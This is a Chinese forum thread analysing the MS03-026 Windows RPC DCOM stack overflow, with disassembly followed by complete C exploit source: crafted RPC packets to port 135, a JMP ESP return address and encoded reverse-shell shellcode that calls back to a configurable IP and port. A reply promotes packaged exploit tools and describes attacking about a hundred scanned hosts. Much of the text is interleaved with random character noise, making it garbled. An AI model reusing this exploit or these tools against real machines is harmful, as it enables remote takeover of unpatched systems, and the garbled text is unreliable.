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LSD RPC 溢出漏洞之分析

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    2015-1-16 14:36
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    发表于 2003-8-9 22:38:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
    作者:FLASHSKY $ F1 A% l1 I& n( p作者单位:启明星辰积极防御实验室 9 f- i A6 F( v1 f. B0 k/ pWWW SITE:WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET,WWW.SHOPSKY.COM " }6 G) v9 |, Y$ f n4 |+ Y邮件:flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com; A- n8 J+ ]' ]1 O3 ]- i C 感谢BENJURRY做测试,翻译和代码的通用化处理。8 t% d5 P6 e+ o 邮件:benjurry@xfocus.org: F# d6 Q# V3 o9 C7 s- C: d& [ - Q' k0 J# n, a6 x' E( a2 {LSD 的RPC溢出漏洞(MS03-26)其实包含了2个溢出漏洞,一个是本地的,一个是远程的。他们都是由一个通用接口导致的。 2 E I+ z2 D& Q2 ?. e% ]$ H导致问题的调用如下:4 d( Z J7 S0 w- @ hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); 2 v; m% G; z; w7 ?2 s. ~/ B这个调用的文件名参数(第5个参数,会引起溢出),当这个文件名超长的时候,会导致客户端的本地溢出(在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间,但是是用lstrcpyw进行拷贝的),这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在,在进行处理,因此由于建不了长文件,所以要利用这个溢出不能直接调用这个API,而是构造好包信息以后直接调用LPC的函数,有兴趣的可以自己去试。),我们来讲解一下远程的溢出。 " m8 J% M& z7 P, ?& h) n在客户端给服务器传递这个参数的时候,会自动转化成如下格式:L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器,于是在远程服务器的处理中会先取出servername名,但是这里没做检查,给定了0X20(默认NETBIOS名)大小的空间,于是堆栈溢出产生了:( l! `4 b7 ~- k, W) F \: z 问题代码如下:, m/ e- X7 f- y7 D4 f7 d: _ GetPathForServer: 5 G ] F* O6 |" Q/ ]2 R.text:761543DA push ebp ; Q6 F" O$ ^8 W9 } D% x.text:761543DB mov ebp, esp & h8 H6 d: }7 M3 Q" z.text:761543DD sub esp, 20h <-----0x20空间8 v5 {# U' }! X) X! T6 t' C: K .text:761543E0 mov eax, [ebp+arg_4]/ l* v1 x1 Q0 y6 q .text:761543E3 push ebx6 S4 P8 g2 Z8 \ J( L2 V1 i0 V .text:761543E4 push esi 1 V$ J- m, g( [6 j.text:761543E5 mov esi, [ebp+hMem] 0 G2 m1 V1 \8 [* N: v' i.text:761543E8 push edi 7 [. X6 U4 I2 { ^.text:761543E9 push 5Ch ) h& n1 w! K$ l6 E% E% P3 T5 G2 R6 s.text:761543EB pop ebx + e' B7 B. Q; H8 j.text:761543EC mov [eax], esi3 W P- z4 ~; ] .text:761543EE cmp [esi], bx 6 k, O# w3 s4 s- U2 H8 H.text:761543F1 mov edi, esi( u: L9 h7 ]* A4 K .text:761543F3 jnz loc_761544BF- {$ w7 ?, L7 H7 d- i2 q .text:761543F9 cmp [esi+2], bx & b+ L! u8 q- ?, T: J# f.text:761543FD jnz loc_761544BF 7 I" n! _, W. Z# X+ ]. G% v.text:76154403 lea eax, [ebp+String1]《-----------写入的地址,只有0X209 X; m4 o& ~# |! {1 H .text:76154406 push 0 $ {! e) C) p% f9 _* k.text:76154408 push eax; y% b8 A( z7 G .text:76154409 push esi 〈----------------------我们传入的文件名参数' Q$ P1 [/ s1 O .text:7615440A call GetMachineName. B& O o9 x6 U8 o" } 。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候,溢出点生效 - @8 L9 H' V1 D5 c' L6 ]: y 9 ~8 c7 M! Z! E1 a! H4 \5 DGetMachineName:# N' N9 G/ @& H .text:7614DB6F mov eax, [ebp+arg_0]# k, G9 p2 V- ]0 e( d- b3 [ .text:7614DB72 mov ecx, [ebp+arg_4] 1 n3 `& R5 e) @.text:7614DB75 lea edx, [eax+4] : a0 B3 n5 q2 p$ m5 \* g.text:7614DB78 mov ax, [eax+4] ) ~4 p$ N% I- [7 \- {! X.text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C4 m3 a% ~; m# D2 ^6 ?2 G! f' r8 y3 \$ z .text:7614DB80 jz short loc_7614DB93 " ]% V! ~2 j" D8 {# v" f: O, H0 i.text:7614DB82 sub edx, ecx* t3 K9 f2 H/ j$ F .text:7614DB845 u1 \8 `' W" i4 K' d+ o .text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j* e8 _3 p6 ~/ x& E; t .text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间,超过就溢出7 A! W4 h; P1 N- C .text:7614DB87 inc ecx$ i% A2 s9 H# T5 x5 {. r. x2 i .text:7614DB88 inc ecx6 T2 v. Z* ?' B, U- R .text:7614DB89 mov ax, [ecx+edx], W' x- s% \( S: U/ B: J* M& [ .text:7614DB8D cmp ax, 5Ch+ `& {3 k. V9 q( M( Y* Z .text:7614DB91 jnz short loc_7614DB845 \1 V+ F& D$ _5 w; v .text:7614DB93( b/ j4 L1 ]( J* D$ V; ~# G) ~- K" f 4 z5 K o: q: s% w2 d: |. N( wOK,我们现在就需要想法来利用这个漏洞,由于\\SERVERNAME是由系统自动生成的,我们只能利用手工直接生成RPC的包来实现,另外SHELLCODE中不能包含0X5C,因为这样判断就是\\SERVERNAME结束了。 ) F% Y0 D; w* R- L6 z下面就给出一个实现的代码,注意点如下: # g: H. t4 B! R1 ^1.由于RPCRT4,RPCSS中没有JMP ESP的代码,这里使用了OLE32.DLL中的,但是这可能是会重定位的,大家测试的时候 0 M3 n! i3 a' a需要再确定或自己找一个存在的JMP ESP的代脉,我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。1 A7 C: L5 Q# c! P8 P- q6 A1 u5 S 2。这里使用了反向连接的SHELLCODE,需要先运行NC 3 D; T1 `& q& |! ?3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系,因为不是整数的话,整个包的长度会有一些填充,那么1 D& V. D7 [7 G5 t 计算就不满足我这里给出的一个简单关系了,会导致RPC包的解析无效果。6 Q- M5 H) q* r6 V3 |" {8 }! I4 x 4。在溢出返回前,返回地址后面的2个参数还会使用,所以需要保证是个内存可写空间地址。 9 L, F+ ^# S5 D1 W) O. H. [5,这里是直接使用堆栈溢出返回的,其实大家也可以尝试一下覆盖SEH,这里就不再多讲了。 - M' s- j0 ~8 }* O" f. Z! s. ~2 k( O; w #include 4 T5 B6 \6 r9 S+ P i#include 5 G q, E( ]1 p: ~# J1 l#include - l5 d. k+ g% I7 m# b8 B$ w9 V#include 2 _; g7 L5 B5 U$ r; f0 M2 m L8 Y#include + ^. q# ?5 v' |! ~ #include 6 S% @3 u0 f( q5 u 4 Z5 h1 Z4 l7 ~' u5 D5 `unsigned char bindstr[]={ , l) E% M, Y7 h( n S- R0 A- }: z0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, , n( v: T: ?& ~7 z" d0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 0 E5 ~" X# W9 G0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, & ^1 s+ Q- Q3 g/ j9 ~' Z0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, l6 K' o0 X3 P0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};& j5 {1 r% R2 I" G" N7 n: L 0 c$ U0 b* Q8 ~8 } unsigned char request1[]={2 t8 H6 s1 ]/ k d8 O 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 9 H* S( v* H9 r,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 " q- V% m+ d: E9 S! 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U0 j,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ) q% W, Z" b" ^+ Q7 K) W,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 & m6 Y* f% u6 L" d: \,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 7 r0 G% z/ h: M" U+ G,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00& W1 }- s$ W3 E' n4 K ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 5 x w& W. ~3 x1 F0 e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 1 [7 z# _" [$ l- M,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 % d, s/ G* I0 i/ m0 w/ b& q' P- `,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 * j! 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F) H% Z, |6 G& |0 N,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00$ z$ R. o& V' x" |8 Q) `( [ ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ; R) P2 k) @! n6 ?5 t; X- I,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10( H, M. ^$ V) O$ { W+ m5 B2 [ ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 u$ V4 y3 \) E/ q) f( _; D,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x008 b7 U* [& C: r* G9 } ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00- I6 Q* t3 w# s8 A ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x002 F. u/ Z1 t$ o9 @ ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 # S2 [& F& C8 D4 }) N,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00$ Z3 |1 b" t6 x" O% J+ q ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00$ X5 `$ Z7 f6 ]4 p& \5 B1 b ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 " ]5 H& I3 \6 Y0 @8 m,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 k7 l4 C# V6 r8 j- A6 i,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 ! a. y+ P" u: n' A: Y6 J,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x007 d* `; F/ f& m) M, D0 H Z ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E 7 ~+ Y M& f& D9 I. G5 Y! Z: ?,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00+ l w2 m+ J ~4 |2 u/ u) T l: G ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00' k' l2 V% E- P3 C$ `" P; ?: c ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 7 [5 e! x6 F1 v$ y2 h,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 ; R" g( c5 w2 L/ [' k( R+ U3 h,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 I0 i2 O3 `" f8 B8 N,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 0 |/ }2 J; x k0 Y* _8 ]" m,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00: a x S! J: {0 K ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x005 H* ?- Q' k6 Q$ b7 |( k% H+ H ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00! R: C/ d) Y* h% S' c ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x008 \- I$ F2 F0 ^8 _ ,0x00,0x00,0x00,0x00,0x00,0x00}; 0 W U' s! J3 r7 Z r ' Q- M. s ]) \5 X: g" q/ o: R( dunsigned char request2[]={8 N, @8 @7 L$ I( ` 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x003 W! H$ X; y( _; ? a ,0x00,0x00,0x5C,0x00,0x5C,0x00};( }+ a: m% C; t. }: z+ p' y - }7 b- ]3 `2 F. _9 ~ B& v9 _8 T unsigned char request3[]={ * K% W* G! q( e8 t+ Q3 I0x5C,0x00$ R3 Y9 s5 r' e/ C! o0 V ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00. l9 d- i2 w" { L+ R5 A ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00* |7 S$ D% ?" v8 d: i. ?1 R! L ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 # f9 ^5 \% G, a% d,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};. u g/ m |. W3 q 3 q' |/ q( N, O8 [9 K Runsigned char sc[]= % g& x. V3 a4 K V: v- p"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"5 L. f1 Y2 T" { ? "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" ( |0 s% r& Q, m2 W7 d"\x46\x00\x58\x00"7 O1 W+ A8 O3 ^* d& y% ] "\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL,可能需要自己改动8 h. Y7 m A1 S) _ "\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址 7 K: \. o' v4 k6 D$ ]+ D8 I- n0 r0 {//下面是SHELLCODE,可以放自己的SHELLCODE,但必须保证sc的整体长度/16=12,不满足自己填充一些0X90吧 9 Q) W) ?/ Q/ P" M* r" k//SHELLCODE不存在0X00,0X00与0X5C ) B# E5 l. p' C7 E' X4 k9 u"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"5 ?8 L' L6 v1 n6 ` "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" 1 u1 A: M# W9 k"\x93\x40\xe2\xfa" ! R1 N& y* u# J' e// code3 k+ [' e* x" V% S# f* X- r6 f3 A. d1 T "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1" & q$ O5 Z# Y1 {, {7 `"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" 1 h; `# a7 R! ^ _- x* z. t/ `"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93" ! x' C. b7 s9 Y+ Z( A/ D"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"9 W% J7 [- Y) A( i "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"6 N8 V- N8 l2 i" t1 Q "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" * j9 j4 E3 _! h, e9 k7 y"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93"# F4 D! _# C. g3 y d! S "\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93"! U( N7 X0 I/ _1 w# M "\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"& q$ h2 C3 |: |+ j6 N! o2 J "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"9 e* X( T; G. k9 O, \ "\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60"7 l. `& J% @) G8 m' @2 [9 }8 { "\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" . p. \- q" `5 a2 X/ K/ _; m"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90"4 A: |: M, t$ U, [1 U "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22"+ d/ e N% [$ j7 W+ { a6 N- q "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"0 \7 r* ?; S! |5 U# e "\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"% R( R7 G) e6 w- D+ p f% I o( X "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3"( f! I S; \6 C" D7 C "\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93": O/ `* l" s( S9 `/ i. f/ o "\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9" ) I0 Y0 _% \4 q- t. u5 `9 N# m"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18" . e. b2 C b2 g+ O"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"' d7 w1 C. y/ i# S "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" - r0 a6 l( J& x3 {- W. D"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"& v) e. s6 I3 d" W2 b, y8 N "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"" l# }2 j8 ]/ u6 L3 p* g' J "\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" 7 z+ Z+ l, a- `"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" # U6 V0 {! a4 W( l; E9 M"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; 3 y- g( i d/ x G+ w; ]6 F3 Q6 [$ p. D! G% F) y+ }/ K) G& m unsigned char request4[]={ : I- n7 t6 W$ V* d9 q0x01,0x10 " y* C5 _4 t. g. ?,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00/ o4 K* y4 z# K L4 q5 @ ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C' H3 s: \% e% b9 W5 W ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 7 }* K" u0 `/ k}; ! T! Y! ?4 L+ U' G1 K 9 Y9 _3 d; j1 M1 F ~void main(int argc,char ** argv)! h) s8 M7 y; r; M% Y j {3 s2 ?1 }8 \' A/ I8 W WSADATA WSAData; 1 M$ f. v% m4 s5 q' qSOCKET sock; ' i6 B3 ?, U9 o) M. Q& x$ ^int len,len1; 7 D$ Y' L- ~4 H( k: ?SOCKADDR_IN addr_in;' }; C0 L! S% q# Z short port=135; 4 S+ N ~# i/ S, g5 u2 N/ e. q( g% junsigned char buf1[0x1000]; 6 E: l: x* L9 X2 f; V, _. qunsigned char buf2[0x1000];. x( n) B/ q" l! R* u unsigned short port1;+ `! `) p1 c. n6 s DWORD cb; & b* X: u y8 u! h ) |- T- g" k1 W: Jif (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)4 F# Q9 J, g$ }4 z- ` {+ {" d# p% V3 n9 d$ ~, e/ y printf("WSAStartup error.Error:%d\n",WSAGetLastError()); % O8 G8 W' ~% W7 Xreturn; 4 I1 f. g3 h7 K* e/ J}7 k# T9 H3 h+ ?; r % ^2 a. K( W& P4 E addr_in.sin_family=AF_INET;& d; i$ L$ Z9 Q% n3 a8 n addr_in.sin_port=htons(port);! A# B5 j' T4 N7 j& f addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);. q" @1 W: ^ s, Q0 |2 r! @ # Z$ j4 K4 N: O v# F( T; dif ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) , u" d9 \' T& n* ?/ g! h{2 w% h/ T8 X- E% g# }$ \5 v0 a7 Z printf("Socket failed.Error:%d\n",WSAGetLastError()); : F2 k$ H1 i" _: T: Creturn;7 u* [$ i" j/ R" a# B }1 l0 V* v, g4 n( i! c if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)' B/ v' t5 E4 e: g. O% b0 Z8 Z; x {8 D- e; d" Y1 }# K# \8 n6 ~2 G( v% N: v printf("Connect failed.Error:%d",WSAGetLastError()); * w- i. B G& X) j* ~5 [; \- creturn;1 l4 v4 v% F9 h } : B. V/ X& s6 mport1 = htons (2300); //反向连接的端口 0 C% `* `* J8 W: h% l/ |port1 ^= 0x9393;4 x/ Z* O5 W0 Q4 } cb=0XD20AA8C0; //反向连接的IP地址,这里是192。168。10。210,: V/ b z( A7 b. c$ f4 J, l cb ^= 0x93939393;9 l4 M- ]3 Y/ s& U* E8 | *(unsigned short *)&sc[330+0x30] = port1; . Z; ]8 [# E' c*(unsigned int *)&sc[335+0x30] = cb; - h$ _$ `; }: |; }" D( Tlen=sizeof(sc);" L y) d2 H* v3 y8 a memcpy(buf2,request1,sizeof(request1));- Y7 v2 a% N9 L$ H; G2 W: G% n. y len1=sizeof(request1);/ i5 U+ X; |/ T *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 * A8 |5 V v, J8 ^# u0 J*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度 ; Q: x- w1 U" X0 \6 Pmemcpy(buf2+len1,request2,sizeof(request2));* V* ?" [& p* Y. e: u len1=len1+sizeof(request2); 8 M* M7 T/ i5 B( J* ~! Ememcpy(buf2+len1,sc,sizeof(sc)); 3 A. H& p& m5 Zlen1=len1+sizeof(sc);/ Q2 `, m# C: z) y" [( Q k memcpy(buf2+len1,request3,sizeof(request3)); * [7 l4 ~5 P3 M7 mlen1=len1+sizeof(request3); ; o4 w7 f/ ]$ y# n- y3 ?memcpy(buf2+len1,request4,sizeof(request4));: y( }0 [- W5 O7 b2 |/ k len1=len1+sizeof(request4);3 J2 O2 i1 Y# C. W6 o7 @' q# p& f *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; ' D8 D6 V* }" O6 Y; M. w; F& N//计算各种结构的长度7 d3 _: u3 s+ l0 H/ h( ? *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; , X" q' Z* y3 I/ X, t; A*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; ) i0 ^2 Z/ @+ @2 [- M*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;! V4 e) R7 _1 z" n7 W" B *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc; 9 r% j$ K; k$ V% y) g2 O A*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;; H/ |% Y" `# c" V *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; ( |8 ^4 N& N; Z( S3 H& C/ ~4 ~9 G*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; . _8 p( K/ E# P; L" Uif (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) % b3 ?7 A; ^" n8 w{ ! ^& F& M& f+ m) w3 {( e, C. }printf("Send failed.Error:%d\n",WSAGetLastError()); & }& @ j0 t a! j( U6 b1 Preturn;; x% I$ G; b. u) S, |) p% Y5 x }: i" i: K* D. f) U! E$ G ! C; R- _- v+ h+ q: f6 ~ len=recv(sock,buf1,1000,NULL);9 X( u& u- C4 ~) q& D! s if (send(sock,buf2,len1,0)==SOCKET_ERROR) : ]- L6 d/ E( k7 B{ 0 U0 x0 _, e* V- ?$ h* O* Aprintf("Send failed.Error:%d\n",WSAGetLastError()); / y# |, w+ K" v Hreturn; 1 s& B8 U+ O" }} ) Z' F7 _. G, X6 b' t; ?len=recv(sock,buf1,1024,NULL);4 ]% r, J# C& O } - o' P: e2 O5 O) q5 \2 F4 Z ( N+ k+ l. H' X, C1 a补丁机理: 2 G: K) k! h% f2 b g1 |补丁把远程和本地的溢出都补了,呵呵,这个这么有名的东西,我也懒得多说了。% J& c- P i% X' V6 m3 @ 0 B" h& t0 r+ E: i' _& q+ q补记: 4 l+ f! b: s, ]1 a, J& F. T由于缺乏更多的技术细节,搞这个从上星期五到现在终于才搞定,惭愧,不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久,怎么也无法远程进入这个函数,最后偶然的一次,让我错误的看花了眼,再远程调用的时候,以为GETSERVERPATH是存在本地溢出的GetPathForServer函数,,心中以为远程进入了GetPathForServer函数,仔细的跟踪,这才发现问题所在。感谢所有关心和指导我的同志们。
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  • TA的每日心情
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    2015-1-16 14:36
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    [LV.2]偶尔看看I

    2
     楼主| 发表于 2003-8-9 22:41:00 | 只看该作者
    攻击:XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序 & @ q7 G+ a- V9 l6 o: h) r7 `3 }# }chdcom针对以下版本:) }% }3 W" ]% M. n! I - 0 Windows xp SP1 (cn)9 U* W: W3 ~4 m) f& [9 X - 1 Windows 2000 SP3 (cn) ; B( u- y% O& l6 t K- 2 Windows 2000 SP4 (cn)8 Q! n8 L/ M# \. S) e+ Y0 g - 3 Windows 2000 SP3 (english) / n3 [: Z5 j; y. w# _5 \4 W' s- 4 Windows 2000 SP4 (english)5 u3 ? |! G& y/ e" I* u; h - 5 Windows XP SP0 (english)' f: N& ?$ I1 z0 v) ? - 6 Windows XP SP1 (english) / e' i3 w) ?* Z& p% g. u' N/ bUsage: chdcom 1 J" y% K8 ]# h. F5 k" icedcom针对以下版本:; h- y. \+ l2 s1 S - 0 Windows 2000 SP0 (english) ! {* L" b* Q+ j2 l7 p$ k- 1 Windows 2000 SP1 (english)) x, y, K0 t o% v' [$ U - 2 Windows 2000 SP2 (english) ' n+ V# s( X0 ]# b- 3 Windows 2000 SP3 (english) / K! K: t$ r6 e8 j2 ?/ A# d6 j- 4 Windows 2000 SP4 (english) 1 I; h* W/ D; p" \! a6 `- B- 5 Windows XP SP0 (english) " @# m% P7 M7 P2 {) M9 o+ n- 6 Windows XP SP1 (english) : L g+ B2 j* B) w( BUsage: endcom : p; B5 r2 R7 z( K/ g. X2 z; [5 Ycygwin1.dll应用程序扩展 8 p: w5 i! @& @) g; ^溢出目标IP前.先用扫描器扫描开135端口的肉机. ( j" t* P, w/ }我已经测试近百台主机,当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS(也就是说明益处成功)为%70左右, 6 